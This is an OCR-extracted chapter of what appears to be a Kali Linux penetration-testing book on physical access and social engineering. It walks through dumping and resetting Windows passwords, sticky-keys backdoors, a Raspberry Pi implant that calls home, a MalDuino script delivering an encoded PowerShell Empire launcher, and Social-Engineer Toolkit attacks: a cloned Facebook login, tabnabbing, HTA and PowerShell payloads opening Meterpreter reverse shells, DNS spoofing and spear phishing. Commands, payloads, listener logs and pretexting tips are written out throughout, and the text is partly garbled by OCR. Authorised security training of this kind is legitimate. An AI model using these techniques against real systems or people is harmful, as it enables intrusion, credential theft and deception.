mkdir /mnt/targetl
mount /dev/sda2 /mnt/targetl

3. Once the system is mounted, navigate to the mounted folder (in our case, it
is /media/root/<ID>/Windows/System32/Config), and run samdump?2
SYSTEM SAM, as shown in the following screenshot. The SYSTEM and SAM files
should display all the users on the system drive and also their password hashes,
which will then be used to crack the password offline using the John the Ripper
or credump tools:

Terminal - root@kali: /media/root/C45C428A5C4276E8/Windows/System32/config
File Edit ‘Wiew Terminal Tabs Help

Using the same access, attackers can also remove the password of a user from the
system. chntpw is a Kali Linux tool that can be used to edit the Windows registry,
reset a user's password, and promote a user to administrator, as well as several
other useful options. Using chntpw is a great way to reset a Windows password
or otherwise gain access to a Windows machine when you don't know what the
password is.

chntpw is a utility to view information and change user passwords in Windows
NT/2000, XP, Vista, and 7.
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4. The SAM user database file is usually located at
\WINDOWS\system32\config\SAM on the Windows filesystem. Navigate to
folder as shown in the following screenshot:

# 1ls -la | more

5. Run chntpw SAM; the password is stored in the sAM file in Windows. Security
Accounts Manager (SAM) is a database file in Windows XP, Windows Vista, and
Windows 7 that stores users' passwords.

It can be used to authenticate local and remote users. Usually, the saM file is
located in C/Windows/system32/config/SAM:

chntpw -1 <sam file>
chntpw —u <user><sam file>
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The following screenshot provides the output of the edited SAM file contents:

(which has 4 members)

ailed lo
otal

ly has a BL
iith no pa

hive fil
<SAM> - OK

Finally, you should be able to get a confirmation like this: <saM> - OK.

In Windows 10, a reboot of the system will contain hyberfile.sys,
which will not allow the attackers to mount the system drive. In order to
mount the system drive and gain access to the drive, use mount -t
ntfs-3g —-ro remove_hiberfile /dev/sda2 /mnt/folder.Do note
that some systems with rnd point encryption tools may not be able to boot
after this file is deleted.
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Other bypassing tools include Kon-boot, which is another forensics utility that utilizes a
similar feature to chntpw, but Kon-boot only affects the administrator account and doesn't
remove the administrator password; it just lets you log in without a password and on the
next normal system reboot, the original administrator's password is in place, intact. This
tool can be downloaded from this website: https://www.piotrbania.com/all/kon-boot/

Sticky keys

In this section, we will explore how to utilize physical access to the console of a Windows
computer that is unlocked or without a password. Attackers can exploit the feature of
Microsoft Windows sticky keys to plant a backdoor in a fraction of a second; however, the
caveat is you will need to have administrator privileges to place the executable. But when
the system is booted through Kali Linux, the attackers can place the files without any
restrictions.

The following is a list of Windows utilities that can be utilized by attackers to replace utility
executables with cmd . exe or powershell.exe:

e sethc.exe

e utilman.exe
® osk.exe

® narrator.exe
® magnify.exe

e displayswitch.exe
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The following photograph shows when an attacker replaces sethc.exe with cmd. exe:

Creating a rogue physical device

Kali also facilitates attacks where the intruder has direct physical access to systems and the
network. This can be a risky attack, as the intruder may be spotted by an observant human,
or caught on a surveillance device. However, the reward can be significant, because the
intruder can compromise specific systems that have valuable data.

Physical access is usually a direct result of social engineering, especially when
impersonation is used. Common impersonations include the following:

¢ A person who claims to be from the help desk or IT support, and just needs to
quickly interrupt the victim by installing a system upgrade.

¢ A vendor who drops by to talk to a client, and then excuses himself to talk to
someone else or visit a restroom.
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¢ A delivery person dropping off a package. Attackers can buy a delivery uniform
online; however, since most people assume that anyone who is dressed all in
brown and pushing a handcart filled with boxes is a UPS delivery person,
uniforms are rarely a necessity for social engineering!

¢ Trades persons wearing work clothes, carrying a work order that they have
printed out, are usually allowed access to wiring closets and other areas,
especially when they claim to be present at the request of the building manager.

Dress in an expensive suit, carry a clipboard, and walk fast; employees will assume that
you're an unknown manager. When conducting this type of penetration, we usually inform
people that we are auditors, and our inspections are rarely questioned.

The goal of hostile physical access is to rapidly compromise selected systems; this is usually
accomplished by installing a backdoor or similar device on the target.

One of the classic attacks is to place a CD-ROM, DVD, or USB key in a system and let the
system install it using the autoplay option; however, many organizations disable autoplay
across the network.

Attackers can also create poisoned bait traps: mobile devices that contain files with names
that invite a person to click on the file and examine its contents. Some of the examples
include the following:

e USB keys with labels such as Employee Salaries or Medical Insurance Updates.

e Metasploit allows an attacker to bind a payload, such as a reverse shell, to an
executable such as a screensaver. The attacker can create a screensaver using
publicly available corporate images, and email CDs to employees with the new
endorsed screensaver. When the user installs the program, the backdoor is also
installed and it connects to the attacker.

e If you know that employees have attended a recent conference, attackers can
impersonate a vendor who was present and send the target a letter insinuating
that it is a follow-up from the vendor show. A typical message will be “If you
missed our product demonstration and one-year free trial, please review the slideshow on
the attached USB key by clicking on start.exe.”
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One interesting variant is the SanDisk U3 USB key, or Smart Drive. The U3 keys were
preinstalled with Launchpad software, which automatically allowed the keys to write files
or registry information directly to the host computer when inserted, to assist in the rapid
launch of approved programs. The u3-pwn tool (Kali Linux | Applications | Social
Engineering Tools | u3-pwn) removes the original ISO file from the SanDisk U3 and
replaces it with a hostile Metasploit payload, which is then encoded to avoid detection on
the target system. Unfortunately, support for these USB devices is reducing, and they
remain vulnerable to the same degree of detection as other Metasploit payloads.

Microcomputer or USB-based attack agents

We have noticed a significant increase in using microcomputers and USB based devices in
RTE/penetration testing. These are mainly used due to their compactness, they can be
hidden anywhere in the network and also can run almost anything that a full fledged
laptop can. In this section, we will explore the most commonly used devices, the Raspberry
Pi and Malduino USB.

The Raspberry Pi

The Raspberry Pi is a microcomputer; it measures approximately 8.5 cm x 5.5 cm in size,
but manages to pack in 2 GB RAM, two USB ports, and an Ethernet port supported by a
Broadcom chip using an ARM processor, running at 700 MHz (which can be overclocked to
1 GHz). It doesn't include a hard drive, but uses an SD card for data storage. As shown in
the following photograph, the Raspberry Pi is approximately pocked sized; it is easy to hide
on a network (behind workstations or servers, placed inside server cabinets, or hidden
beneath floor panels in the data center):
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To configure a Raspberry Pi as an attack vector, the following items are required:

A Raspberry Pi Model B, or newer versions
An HDMI cable
A micro USB cable and charging block

An Ethernet cable or mini-wireless adapter
e An SD card, Class 10, at least 8 GB in size

Together, all these supplies are typically available online for a total of less than $70.

1. To configure the Raspberry Pi, download the latest version of the Kali Linux
ARM edition from
https://www.offensive-security.com/kali-linux-arm-images/ and extract it
from the source archive. If you are configuring from a Windows-based desktop,
then we would utilize the same Win32 Disk Imager that we utilized in Chapter
1, Goal-based Penetration Testing, to make a bootable Kali USB stick.

2. Using a card reader, connect the SD card to the Windows-based computer and
open the Win32 Disk Imager. Select the ARM version of Kali, kali-custom-
rpi.img, which was downloaded and extracted previously, and write it to the
SD card. Separate instructions for flashing the SD card from Mac or Linux
systems are available on the Kali website.

3. Insert the newly flashed SD card into the Raspberry Pi and connect the Ethernet
cable or wireless adapter to the Windows workstation, the HDMI cable to a
monitor, and the Micro USB power cable to a power supply. Once supplied with
power, it will boot directly into Kali Linux. The Raspberry Pi relies on external
power, and there is no separate on/off switch; however, Kali can still be shut
down from the command line. Once Kali is installed, ensure that it is up to date
using the apt -get command.

4. Make sure the SSH host keys are changed as soon as possible, as all Raspberry Pi
images have the same keys. Use the following command:

root@kali:~ rm /etc/ssh/ssh_host_*
root@kali:~ dpkg-reconfigure openssh-server
root@kali:~ service ssh restart

At the same time, make sure the default username and password are changed.
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5. The next step is to configure the Raspberry Pi to connect back to the attacker's
computer (using a static IP address or using a dynDNS) at regular intervals using
a cron job. An attacker must then physically access the target's premises and
connect the Raspberry Pi to the network. The majority of networks automatically
assign devices a DHCP address and have limited controls against this type of
attack.

6. Once the Raspberry Pi connects back to the attacker's IP address, the attacker can
run reconnaissance and exploit applications against the victim's internal network
from a remote location using SSH to issue commands.

If a wireless adapter is connected, such as EW-7811Un, the 150 Mbps wireless
802.11b/g/n Nano USB adapter, the attacker can connect wirelessly or use the Pi to
launch wireless attacks.

The MalDuino - the BadUSB

The MalDuino is an Arduino-powered USB that can be used by attackers during a
RTE/penetration testing activity. This device has a keyboard injection capability and runs
the commands within fraction of second. These devices are extremely useful during
physical security with access to the organization's building. Often, people inside the
organization rarely lock their computer, assuming the physical access restrictions are
safeguards and no one would do anything. Even if attackers gain access physically to the
system, staff can arguably say we have no USB policy, well its good. But disabling USB
does not disable USB-based keyboards—when attackers plugs in the MalDuino, it acts as a
keyboard, typing commands exactly how a human being would run a specified payload
and execute.

There are two flavors of MalDuino, Elite and Lite. The difference is Elite provides an SD
card option for you dump around 16 different payloads with the hardware switches on the
device, so that you don't need to reconfigure the entire device. With of MalDuino Lite, you
have to configure the device everytime you change the payload.

The board supports the Ducky Scripts templates, making it easy to build custom scripts.
The following photo depicts the MalDuino Elite hardware:
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Instructions on how to set up the board can be found at https://malduino.com/wiki/
doku.php?id=setup:elite.

We will focus on setting up a PowerShell Empire script for the board by following these
steps:

1. Generate the PowerShell payload in Empire.

2. Ensure the listeners are up and listening for any connections.

3. Convert the PowerShell launcher into strings, since MalDuino has a buffer size of
256 bytes, so the payloads must be fragmented. This can be achieved by visiting
https://malduino.com/converter/.

4. Once the strings are converted, it should look something like the following
screenshot:

STRING DUMYDUMMYDUMMYRAVAByAGKk AZAB1AG4AdAAVADCALGAWAD:
STRING QBAC4ABYAFSAXQBJACOAYQAIACYAWWBDAGYAQQBSAFSAX(
STRING AUWBFAHIAdgBpAGMAZQBQAGS8ASQBUAHQATQBhAG4AQQBN/
STRING ARABFAEYAQQB1WABVAFIAJABLAFSAJABJIACSAKWATACQA:
STRING VADUALQAWACAAKABXAGkAbgBkAGSAdTGBFAHQALGBXAGU:!
STRING TgBRADAAPQBQAC4AZABAADIAeABXAFYAMWAKACCAOWAKAC

5. The next step is to build the ducky script, as shown in the following screenshot:

DELAY 1000

GUI r

DELAY 200

STRING cmd.exe|

ENTER

STRING DUMMYDUMMYAGKAZABTAG4AdAAVADCALGAWADSATIABYAHYAOQ)
STRING QBAC4ABYAFSAXQBJACQAYJA9IACgGAWWBDAGYAQQBSAFSAXQBAA
STRING AUWBFAHIAdgBpAGMAZQBQAGSASQBUAHQATQRhAG4AQQBNAGU/
STRING ARABFAEYAQQB1WABVAFIAJABLAFSAJABJACSAKWATACQASWAL
STRING VADUALQAWACAAKABXAGKAbgBKAGS8AdTgRFAHQALgBXAGUAQQH
ENTER

6. The final action is to plug the device into the victim machine; you should now be
able to see an agent reporting back, as shown in the following screenshot:
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(Empire: listeners/http) > listeners

Name Module Host Delay/Jitter KillDate
showhacker http://192.168.0.24:80
(Empire:

[+] Initial agent ¥YXZ7C6UT from 192.168.0.20 now active (Slack)

The Social Engineering Toolkit (SET)

SET was created and written by David Kennedy (ReL1K), and it is maintained by an active
group of collaborators (www.social-engineer.org). It is an open source Python-driven
framework that is specifically designed to facilitate social engineering attacks.

The tool was designed with the objective of achieving security by training. A significant
advantage of SET is its interconnectivity with the Metasploit framework, which provides
the payloads needed for exploitation, the encryption to bypass antivirus, and the listener
module, which connects to the compromised system when it sends a shell back to the
attacker.

To open SET in a Kali distribution, go to Applications| Social Engineering Tools |
setoolkit, or enter setoolkit at a shell prompt. You will be presented with the main
menu, as shown in the following screenshot:

https://github.com/trustedsec/ptf

Your version:
Current version:

Please update SET to the latest before submitting any git issues.

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

[173 ]


https://www.social-engineer.org/

Advanced Social Engineering and Physical Security Chapter 5

If you select 1) Social-Engineering Attacks, you will be presented with the
following submenu:

Please update SET to the latest before submitting any git issues.

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) sMS sSpoofing Attack Vector
11) Third Party Modules

99) Return back to the main menu.

The following is a brief explanation of the social engineering attacks.

Spear-Phishing Attack Vector allows an attacker to create email messages and send
them to targeted victims with attached exploits.

Website Attack Vectors utilize multiple web-based attacks, including the following:

e Java applet attack method: This spoofs a Java certificate and delivers a
Metasploit-based payload. This is one of the most successful attacks, and it is
effective against Windows, Linux, and macOS targets.

e Metasploit browser exploit method: This delivers a Metasploit payload using an
iFrame attack.

¢ Credential harvester attack method: This clones a website and automatically
rewrites the POST parameters to allow an attacker to intercept and harvest user
credentials; it then redirects the victim back to the original site when harvesting
is completed.
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e Tabnabbing attack method: This replaces information on an inactive browser
tab with a cloned page that links back to the attacker. When the victim logs in,
the credentials are sent to the attacker.

¢ Web jacking attack method: This utilizes iFrame replacements to make the
highlighted URL link appear legitimate; however, when it is clicked, a window
pops up and is then replaced with a malicious link.
e Multi-attack web method: This allows an attacker to select some or all of the
several attacks that can be launched at once, including the following:
e Java applet attack method

e Metasploit browser exploit method

o Credential harvester attack method

¢ Tabnabbing attack method

e Man left in the middle attack method

e Full-screen attack method: This is a simple attack method utilized by attackers to
launch an attack behind the scenes when the system is in full-screen mode.

e HTA attack method: This is when an attacker presents a fake website that will
automatically download HTML applications in the . HTA format.

¢ Infectious media generator: This creates an autorun. inf file and Metasploit
payload. Once burned or copied to a USB device or physical media (CD or DVD)
and inserted into the target system, it will trigger autorun (if autorun is enabled)
and compromise the system.

e To create a payload and listener: This module is a rapid menu-driven method of
creating a Metasploit payload. The attacker must use a separate social
engineering attack to convince the target to launch it.

e MassMailer attack: This allows the attacker to send multiple customized emails
to a single email address or a list of recipients.

¢ Arduino-based attack vector: This programs Arduino-based devices, such as the
Teensy. Because these devices register as a USB keyboard when connected to a
physical Windows system, they can bypass security based on disabling autorun
or other endpoint protection.
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» Wireless access point attack vector: This will create a fake wireless access point
and DHCP server on the attacker's system and redirect all DNS queries to the
attacker. The attacker can then launch various attacks, such as the Java applet
attack or a credential harvester attack.

¢ QRcode generator attack vector: This creates a QR code with a defined URL
associated with an attack.

e PowerShell attack vectors: This allows the attacker to create attacks that rely on
PowerShell, a command-line shell and scripting language available on Windows
Vista and higher versions.

e SMS spoofing attack vector: This allows the attacker to send a crafted SMS text
to a person's mobile device and spoof the source of the message. This module has
been recently blocked by SET.

¢ Third-party modules: This allows the attacker to use the Remote Administration
Tool Tommy Edition (RATTE) as part of a Java applet attack or as an isolated
payload. RATTE is a text menu-driven remote access tool.

SEToolkit also provides a menu item for fast-track penetration testing, which gives rapid
access to some specialized tools that support brute-force identification and password
cracking of SQL databases, as well as some customized exploits that are based on Python,
SCCM attack vectors, Dell computer DRAC/chassis exploitation, user enumeration, and
PsExec PowerShell injection.

The menu also gives options for updating the Metasploit framework, SET, and the SET
configuration. However, these additional options should be avoided as they are not fully
supported by Kali, and may cause conflicts with dependencies.

As an initial example of SET's strengths, we'll see how it can be used to gain a remote shell:
a connection made from the compromised system back to the attacker's system.

Using a website attack vector - the credential
harvester attack method

Credentials, generally the username and password, give a person access to networks,
computing systems, and data. An attacker can use this information indirectly (by logging
on to the victim's Gmail account and sending emails to facilitate an attack against the
victim's trusted connections), or directly against the user's account.
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This attack is particularly relevant given the extensive reuse of credentials; users typically
reuse passwords in multiple places.

Particularly prized are the credentials of a person with privileged access, such as a system
administrator or a database administrator, which can give an attacker access to multiple
accounts and data repositories.

The SET's credential harvesting attack uses a cloned site to collect credentials.

To launch this attack, select Website Attack Vectors from the main menu, then select
Credential Harvester Attack Method, and then select Site Cloner. For this
example, we will follow the menu selections to clone a website, such as Facebook, as shown
in the following screenshot:

Web Templates
Site Cloner
Custom Import

Return to Webattack Menu

2
Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report
This option is used for what IP the server will POST to.
If you're using an external IP, use your external IP for this
att IP address for the POST back in Harvester/Tabnabbing [192.168.0.24]:

SET supports both HITP and HTTPS
http://www.thisisafakesite.com
Enter the url to clone:https://facebook.com/login.php

Cloning the website: https://login.facebook.com/login.php
This could take a little bit...
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Again, the attacker's IP address must be sent to the intended target. When the target clicks
on the link or enters the IP address, they will be presented with a cloned page that
resembles the regular entry page for Facebook, as shown in the following screenshot, and
they will be prompted to enter their usernames and passwords:

f Login to Facebook | Fa

C  (® MNotsecure | 192.168.0.24

To help personalise content, tailor and measure ads and provide a safer experience, we use cookies. By clicking on or navigating the site, you
information on and off Facebook through cookies. Learn more, including about available controls: Cookie Policy.

facebook /s

Log in to Facebook

Forgotten account? - Sign up for Facebool

Once this is done, the users will be redirected to the regular Facebook site, where they will
be logged in to their account.

In the background, their access credentials will be collected and forwarded to the attacker.
They will see the following entry in the listener window:
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PARAM: return session=
POSSIBLE USERNAME FIELD FOUND: skip api login=
PARAM: signed next=
PARAM: trynum=1
PARAM: timezone=0
PAREM: lgndim=eyJ3IjoxMzYZ2LCJoIjo3NjgsImF3IjoxMzY2LCThaCI6NzZI4LCIjIjoyNHO=
PARAM: 1gnrnd=080457 PUD1
lgnijs= 1544285439

D FIELD FOUND:

NAME FIELD FOU :
: prefill contact point=
: prefill source=

: prefill type=
PARAM: first prefill source=
PARAM: first prefill type=
PARAM: had cp prefilled=false
POSSIBLE PASSWORD FIELD FOUND: had password prefilled=false
PARAM: ab test data—BAAvffPPBP//PBBVAPBAAPPBABBBBARBBBBABBABPf/P/nAPHANCBG
[*] WHEN YOU'RE FIN SHED, HIT CONTROL-C TO GENERATE A REPORT.

When the attacker has finished collecting credentials, entering Ctrl + C will generate two
reports in the /SET/reports directory in XML and HTML formats.

Note that the address in the URL bar is not the valid address for Facebook; most users will
recognize that something is wrong if they can see the address. A successful exploit requires
the attacker to prepare the victim with a suitable pretext, or story, to make the victim accept
the unusual URL. For example, send an email to a targeted group of non-technical
managers to announce that a local Facebook site is now being hosted by IT to reduce delays
in the email system.

The credential harvesting attack is an excellent tool for assessing the security of a corporate
network. To be effective, the organization must first train all the employees on how to
recognize and respond to a phishing attack. Approximately two weeks later, send a
corporate-wide email that contains some obvious mistakes (incorrect name of the corporate
CEO or an address block that contains the wrong address) and a link to a program that
harvests credentials. Calculate the percentage of recipients who responded with their
credentials, and then tailor the training program to reduce this percentage.
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Using a website attack vector — the tabnabbing
attack method

Tabnabbing exploits a user's trust by loading a fake page in one of the open tabs of a
browser. By impersonating a page of a site such as Gmail, Facebook, or any other site that
posts data (usually usernames and passwords), a tabnabbing attack can collect a victim's
credentials. SET invokes the credential harvester attack that we previously described.

To launch this attack, launch SET from a console prompt, and then select 1) Social-
Engineering Attacks. In the next menu, select 2) Website Attack Vectors. The
tabnabbing attack is launched by selecting 4) Tabnabbing Attack Method.

When the attack is launched, you will be prompted with three options to generate the fake
websites that will be used to gather credentials. The attacker can allow SET to import a list
of predefined web applications, clone a website (such as Gmail), or import their own
website. For this example, we will select 2) Site Cloner.

This will prompt the attacker to enter the IP address that the server will POST to; this is
usually the IP address of the attacker's system.

The attacker must then employ social engineering to force the victim to visit the IP address
for the post back action (for example, URL shortening). The victim will receive a message
that the site is loading (as the attack script loads the cloned site on a different tab in the
browser, as shown in the following screenshot):

f 192.168.0.24

C @ 192.168.0.24

Please wait while the site loads. ..

The target will then be presented with the fake page (with the false IP address still visible).
If the users enter their usernames and passwords, the data will be posted to the listener on
the attacker's system. As you can see in the following screenshot, it has captured the
username and the password:
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Wgi0jEwNDASImMi0jI0TQ==

The Hail Mary attack for website attack vectors is multi-attack web method that allows the
attacker to implement several different attacks at one time, should they choose to. By
default, all attacks are disabled, and the attacker chooses the ones to run against the victim,
as shown in the following screenshot:

[ 7 o e o v e e e o vk ke e ok ok ok e ok ok ok e ok ke o o e o ok o e e ok ok ok e o ok o ok e ok ok ook e ook e ok e o e ke e ke e e ek

Multi-Attack Web Attack Vector

[**'k**********************************************************]

The multi attack vector utilizes each combination of attacks
and allow the user to choose the method for the attack. Once
you select one of the attacks, it will be added to your
attack profile to be used to stage the attack vector. When
your finished be sure to select the 'I'm finished' option.

Select which attacks you want to use:

. Java Applet Attack Method (OFF)
. Metasploit Browser Exploit Method
Credential Harvester Attack Method
. Tabnabbing Attack Method (OFF)
. Web Jacking Attack Method
. Use them all - A.K.A. 'Tactical Nuke'
I'm finished and want to proceed with the attack

Return to Main Menu
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This is an effective option if you are unsure which attacks will be effective against a target
organization; select one employee, determine the successful attack(s), and then reuse these
against the other employees.

HTA attack

This type of attack is a simple HTML application that can provide full access to the remote
attacker. The usual file extension of an HTA is . hta. An HTA is treated like any executable
file with the extension .exe. When executed via mshta.exe (or if the file icon is double-
clicked), it runs immediately. When executed remotely via the browser, the user is asked
once, before the HTA is downloaded, whether or not to save and run the application; if
saved, it can simply be run on demand after that.

An attacker can create a malicious application for the Windows operating system using
web technologies. To launch an HTA attack using SEToolkit, select 1) Social-
Engineering Attacks from the main menu. Then, select 2) Website Attack Vectors
from the next menu and select 8) HTA Attack Method, followed by option 2) site
Cloner to clone any website. In this case, we will clone facebook . com, as shown in the
following screenshot:

set:webattack>2

SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:facebook.com
[*] HTA Attack Vector selected. Enter your IP, Port, and Payload...
Enter the IP address for the reverse payload (LHOST): 192.168.0.116
Enter the port for the reverse payload [443]: 443
Select the payload you want to deliver:

1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
3. Meterpreter Reverse TCP

Enter the payload number [1-3]: 1

[*] Generating powershell injection code and x86 downgrade attack..
[*] Reverse HTTPS takes a few seconds to calculate..One moment..
No encoder or badchars specified, outputting raw payload

Payload size: 357 bytes
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Attackers will now send the server with the fake facebook . com to the victim users to
phish for information; the following screenshot depicts what a victim would see:

R~ X ” ) Log masuk ke dalam Faceb...

hitpe /192, 168.0.1167

& For a better experience on Facebook, update your browser.

faceboolk o

Internet Explorer

What do you want to do with Launcher.hta?

Size: 812 KB
From:192.168.0.116

< Open

The file won't be saved automatically.

2 Save

< Saveas

Cancel
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If the victim user runs the HTA file locally on the system, this will open up the reverse
connection to the attackers, as shown in the following screenshot. SEToolkit should
automatically set up with a listener from Metasploit:

Processing /root/.set//meta config for ERB directives.
resource (/root/.set//meta config)> use multi/handler
resource (/root/.set//meta config)> set payload windows/meterpreter/reverse http
payload => windows/meterpreter/reverse https
resource (/root/.set//meta config)> set LHOST 192.168.0.116
LHOST => 192.168.0.116
resource (/root/.set//meta config)> set LPORT 443
LPORT => 443
resource (/root/.set//meta config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set//meta config)> set EnableStageEncoding true
EnableStageEncoding => true
resource (/root/.set//meta config)> exploit -j

Exploit running as background job.

Started HTTPS reverse handler on https://192.168.0.116:443
Starting the payload handler...
https://192.168.0.116:443 handling request from 192.168.0.119; (UUID: 5lusos

msf exploit(handler) > Meterpreter session 1 opened (192.168.0.116:443 -> 19
0400

msf exploit(handler) > sessions

Active sessions

Information Connection

meterpreter x86/windows victim\EISC @ VICTIM 192.168.0.116:443 -> 192.16

Using the PowerShell alphanumeric shellcode
injection attack

The Social Engineering Toolkit also incorporates more effective attacks based on
PowerShell, which is available on all Microsoft operating systems after the release of
Microsoft Windows Vista. Because PowerShell shell code can easily be injected into the
target's physical memory, attacks using this vector do not trigger antivirus alarms.
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To launch a PowerShell injection attack using SEToolkit, select 1) Social-Engineering
Attacks from the main menu. Then, select 10) PowerShell AttackVectors from the
next menu.

This will give the attacker four options for attack types; for this example, select 1 to invoke
PowerShell alphanumeric shellcode injector.

This will set the attack parameters and prompt the attacker to enter the IP address for the
payload listener, which will usually be the IP address of the attacker. When this has been
entered, the program will create the exploit code and start a local listener.

The PowerShell shellcode that launches the attack is stored at /root/.set/reports/
powershell/x86_powershell_injection.txt. The social engineering aspect of the
attack occurs when the attacker convinces the intended victim to copy the contents of
x86_powershell_injection.txt into a command prompt, as shown in the following
screenshot, and execute the code:

root@kali: # cat x86_powershell injection.txt

powershell -w 1 -C "sv K —;sv JA ec;sv ko ((gv K).value.toString()+(gv jR)
ring() 'JABOAFKAQQBOACAAFPQAGACCAJAB3AESAWgGAgADOATIAANACCAWWBEAGWADABJAGOACHE
ApAFOACABI1AGIADABPpAGMATABZAHQAYOBOAGKAYWAGAGUAeABROAGUACgBUACAASQBUAHQAUARC
AFRAAARYACARDABWAEEAZARKAHTAZQBZAHMATLARGAHUAAQBUAHQATARKAHCAUWBPpAHOAZQASAC
QAeQBWAGUALAAGAHUAAQBUAHQATABMAGWAUABYAGEAAABLAGMAARAPAD sSAWWBEAGWADABJAGOR

IgAPAFOACABlAGIADABPAGMATIABZAHQAYOBOAGKAYWAGAGUAeABOAGUACGBUACAASQOBURAHQAUR
BOAFAAJABYACARDLABWAFQAaRBYAGUAYQBKAEEAJABOAHTAaQBi AHUAdABI AHMAT.AAgAHUAaQBU
AFARJABYACAALABWAFMAJABhAHTAJABBAGQAZARYAGUACWBZACWATABJAG4AdABQAHQACGAGAC
QAAwBDAHIAZQBhAHQAAQBVAG4ARGBSAGEAZWBZACWATABJAG4ARAJABQAHQACgAgAGWACABUAGGR
KARiAGOACWBZ2AGMACgBOAC4AZABSAGWAIGAPAFOACABIAGIADABPAGMATABZAHQAYOBOAGKAYY
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As shown in the following screenshot, execution of the shellcode did not trigger an
antivirus alarm on the target system. Instead, when the code was executed, it opened a
Meterpreter session on the attacking system and allowed the attacker to gain an interactive
shell with the remote system:

Started HTTPS reverse handler on https://0.0.0.0:443
Starting the payload handler...
msf exploit(handler) > https://0.0.0.0:443 handling request f
958531 bytes)

Meterpreter session 1 opened (192.168.0.116:443 -> 192.168.0.

msf exploit(handler) > sessions

Active sessions

Information Connection

meterpreter x86/windows victim\EISC @ VICTIM 192.168.0.11

Hiding executables and obfuscating the
attacker's URL

As shown in the previous examples, there are two keys to successfully launching a social
engineering attack. The first is to obtain the information needed to make it work:
usernames, business information, and supporting details about networks, systems, and
applications.

However, the majority of the work effort is focused on the second aspect: crafting the attack
to entice the target into opening an executable or clicking on a link.
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Several attacks produce modules that require the victim to execute them in order for the
attack to succeed. Unfortunately, users are increasingly wary about executing unknown
software. However, there are some ways to increase the possibility of

successful attack execution, including the following;:

¢ Attack from a system that is known and trusted by the intended victim, or spoof
the source of the attack. If the attack appears to originate from the help desk or IT
support, and claims to be an urgent software update, it will likely be executed:
¢ Rename the executable to resemble the trusted software, such as
Java Update.

¢ Embed the malicious payload into a benign file, such as a PDF file,
using an attack such as Metasploit's
adobe_pdf_embedded_exe_nojs attack.

e Executables can also be bound to Microsoft Office files, MSI install
files, or BAT files configured to run silently on the desktop.

e Have the user click on a link that downloads the malicious
executable.

e Since the SET uses the attacker's URL as the destination for its attacks, a key
success factor is to ensure that the attacker's URL is believable to the victim.
There are several techniques to accomplish this, including the following:

¢ Shorten the URL using a service such as https://goo.gl/or
tinyurl.com. These shortened URLs are common among social
media platforms such as Twitter, and victims rarely use
precautions when clicking on such links.

¢ Enter the link on a social media site such as Facebook or LinkedIn;
the site will create its own link to replace yours, with an image of
the destination page. Then, remove the link that you entered,
leaving behind the new social media link.

¢ Create a fake web page on LinkedIn or Facebook; as the attacker,
you control the content, and can create a compelling story to drive
members to click on links or download executables. A well
executed page will not only target employees, but also vendors,
partners, and their clients, maximizing the success of a social
engineering attack.
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Escalating an attack using DNS redirection

If an attacker or penetration tester has compromised a host on the internal network, they
can escalate the attack using DNS redirection. This is generally considered to be a
horizontal attack (it compromises persons of roughly the same access privileges); however,
it can also escalate vertically if the credentials from privileged persons are captured. In this
example, we will use BetterCap, which acts as a sniffer, interceptor, and logger for switched
LAN:Ss. It facilitates man-in-the-middle attacks, but we will use it to launch a DNS-
redirection attack to divert users to sites used for our social engineering attacks.

To start the attack, the following options are available in the new version of BetterCap:

Modules

any.proxy
api.rest
arp.spoof
ble.recon
caplets
dhep6 . spoof
dns.spoof
events.stream
gps
http.proxy
http.sexrver
https.proxy
mac.changer
mysql.server
net.probe
net.recon
net.sniff
packet.proxy
syn.scan
tcp.proxy
ticker
update

wifi

wol

VVVVVYVYVVYVVVVVYVVVVVVVYVVVYVY
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We should be able to activate any module that is required; for example, we will now try the
DNS spoof attack module on the target by creating a file called dns. conf with the IP and
domain details shown in the following screenshot. This will enable any request

to microsoft.com on the network to be forwarded to 192.168.0.13. We will explore
BetterCap more in chapter 11, Action on the Objective and Lateral Movement:

Gkali:/# cat dns.conf
192.168.0.13 www.microscft.com
rootlkali:/# bettercap
bettercap v2.10 (type 'help' for a list of commands)

> 192.168.0.24 SRR YN ] endpoint 192.168.0.20 detected

orate) .

> 192.168.0.24 SRR YN ] endpoint 192.168.0.13 detected

).

b PR » set dns.spoof.hosts dns.conf
[18:07:14] [ ] [EmE] loading hosts from file dns.conf ...
[18:07:14] [ 1] [Anf] [ ] www.microsoft.com -> 192.168.0.13
> 192.168.0.24 EEwE:HWERT-3 ) ] [Anf] Enabling forwarding.

> 192.168.0.24 I |

Spear phishing attack

Phishing is an email fraud attack carried out against a large number of victims, such as a
list of known American internet users. The targets are generally not connected, and the
email does not attempt to appeal to any specific individual.

Instead, it contains an item of general interest (for example, “Click here for bargain
medication”) and a malicious link or attachment. The attacker plays the odds that at least
some people will click on the link attachment to initiate the attack.

On the other hand, spear phishing is a highly specific form of phishing attack; by crafting
the email message in a particular way, the attacker hopes to attract the attention of a
specific audience. For example, if the attacker knows that the sales department uses a
particular application to manage its customer relationships, they may spoof an email
pretending that it is from the application's vendor with a subject line of Emergency fix
for <application> - Click link to download.

1. Before launching the attack, ensure that sendmail is installed on Kali (apt-get
install sendmail)and change the set_config file from SENDMAIL=OFF to
SENDMAIL=ON.
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2. To launch the attack, select Social Engineering Attacks from the main SET
menu, and then select Spear-Phishing Attack Vectors from the submenu.
This will launch the start options for the attack, as shown in the following
screenshot:

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail” is in-
stalled (apt-get install sendmail) and change the config/set config SENDMAIL=0FF
flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template

